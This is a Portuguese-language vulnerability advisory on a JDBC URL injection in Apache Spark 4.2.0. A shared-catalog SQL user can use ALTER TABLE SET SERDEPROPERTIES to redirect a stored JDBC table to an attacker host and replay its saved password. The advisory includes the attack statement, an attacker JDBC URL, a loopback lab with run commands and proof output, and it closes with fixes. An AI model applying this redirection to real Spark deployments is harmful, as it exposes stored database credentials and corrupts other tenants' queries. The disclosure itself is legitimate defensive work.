
Apache Spark 4.2.0 - Alta - Remoto - Injeção de URL JDBC - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
Análise: https://abraxaslabs.tech/research/spark-jdbc-serde-url
Classe: Injeção de URL JDBC Alcance: Remoto
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 impediu que opções extras em tempo de varredura sobrescrevessem uma url JDBC armazenada. ALTER TABLE SET SERDEPROPERTIES ainda é mesclado em storage.properties, que é o mapa de opções de varredura JDBC. user / password armazenados não são nomes de opções do Spark JDBC, então eles são levados para a nova URL.
Um usuário SQL de catálogo compartilhado pode redirecionar uma tabela USING jdbc provisionada pelo operador e reenviar a senha de banco de dados armazenada para um host de sua escolha.
| ID | sem CVE ainda |
| Classe | Injeção de URL JDBC / reutilização de credenciais armazenadas (resíduo do SPARK-31710) |
| Alcance | Remoto (Connect ou Hive Thrift SQL em um catálogo compartilhado) |
| CWE | CWE-15, CWE-522 |
| CVSS | Alto: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| Produto | Apache Spark |
| Afetado | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) tabelas SQL v1 JDBC |
| Autenticação | usuário SQL de catálogo compartilhado (não um jar de submissão de job) |
| Licença | GNU Affero GPL v3.0 |
| Laboratório | somente 127.0.0.1:18960 |
Uma sessão SQL gRPC do Connect ou uma sessão SQL Hive Thrift em um externalCatalog compartilhado que já possui uma tabela persistente USING jdbc com credenciais armazenadas. Não é um submissor de job. Não é a sessão que nomeou a URL original.
| Método | Destino | Privilégio |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') e então REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties e então JDBC Driver.connect(url, properties) | Integridade: redirecionar a tabela provisionada para um listener do atacante. Comprovado em laboratório (connect=yes). Confidencialidade: reenviar user / password do banco de dados armazenados na inicialização do PostgreSQL e na autenticação em texto claro. Comprovado em laboratório (user-replay=true password-replay=true). O reconhecimento do segredo via SHOW CREATE está fechado (redigido). |
Mesma persistência, SELECT posterior de outro tenant em t | linha do catálogo compartilhado | Integridade, inferida: as consultas de outras sessões em t agora atingem a nova URL (banco de dados errado, linhas controladas pelo atacante). Disponibilidade, inferida: o banco de dados original fica inacessível até que um administrador redefina o serde. Fora do escopo para DoS. |
Chaves serde adicionais (sessionInitStatement, prepareQuery, driver) | opções de varredura sobre user / password remanescentes | Integridade, inferida: instruções extras ou um construtor sem argumentos de Driver no classpath. Não inflar para RCE sem um gadget no classpath padrão. Não exercitado. |
ALTER TABLE SET TBLPROPERTIES | somente CatalogTable.properties | Fechado para esta análise. Comprovado em laboratório (url de armazenamento inalterada, nenhum acerto no oráculo). |
Conflito de opção extra url em tempo de varredura | SPARK-31710 generateDatasourceOptions | Fechado. Comprovado em laboratório (extra-options-clash recusado). |
spark.read.format("jdbc").option("url", ...) nomeado pela mesma sessão | plano de dados pretendido | DESCARTADO. URL controlada pelo proprietário não é este resíduo. |
SET SERDE '<class>' em uma tabela de fonte de dados | nome da classe | Fechado (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). Não exercitado. |
Fechado adjacente: JDBC nomeado por sessão / caminhos de ficheiro. Verificação de conflito de spark.sql.legacy.extraOptionsBehavior. O Spark OSS não tem a externalOptionsAllowList do Unity. O URL de CREATE TABLE é controlado pelo proprietário (não é este resíduo). A redação de logs de URL JDBC é incondicional. O path de tabela de ficheiro reside em locationUri. As ligações de JDBCTableCatalog vêm da conf da sessão do catálogo (mesmo plano de dados que escolher um URL). pyspark de utilizador único sem catálogo partilhado está fora do modelo.
Fixe a Spark 4.2.0, não a master e não uma RC 4.3. A submissão de jobs num cluster aberto é por design. Os resíduos interessantes ficam ao lado de correções nomeadas. SPARK-31710 / generateDatasourceOptions recusa um url diferente no momento da leitura para uma chave serde existente. SET TBLPROPERTIES escreve apenas table.properties. As tabelas de datasource ainda permitem SET SERDEPROPERTIES e fundem-se em storage.properties (++, as chaves posteriores vencem). user e password nunca entram em jdbcOptionNames, pelo que asConnectionProperties os entrega a Driver.connect.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE oculta password. O usuário SQL não consegue ler o segredo de volta. Ainda assim, pode usá-lo.
Caminhos errados já registrados: tratar a url de CREATE TABLE como o bug; registrar novamente o conflito de opções extras; esperar que SET TBLPROPERTIES mova o armazenamento; afirmar que SHOW CREATE vaza a senha; executar um cluster completo quando o Scala citado é um gadget; um reverse shell. O oráculo é uma inicialização do PostgreSQL mais autenticação em texto claro no loopback.
cd lab
./run.sh
O loopback 127.0.0.1:18960 é um listener do protocolo PostgreSQL. O health HTTP é 127.0.0.1:18961. O container gadget é Temurin 21 mais libpostgresql-jdbc-java. A URL armazenada é jdbc:postgresql://127.0.0.1:1/provisioned (conexão recusada). A URL de ataque é jdbc:postgresql://oracle:18960/stolen. Usuário armazenado spark_jdbc. Senha armazenada stored-secret-SPARK-JDBC-SERDE-URL. Vincule-o ao loopback.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
Recusar chaves de SET SERDEPROPERTIES que entrem em conflito com o url / user / password JDBC armazenados, a mesma verificação que generateDatasourceOptions já executa para extras em tempo de varredura. Ou descartar o user / password armazenados quando o url mudar. Ou tratar o serde JDBC da fonte de dados como propriedades de tabela, não como armazenamento. Até lá, não conceda ALTER TABLE em SQL não confiável em uma tabela persistente USING jdbc que armazena uma senha.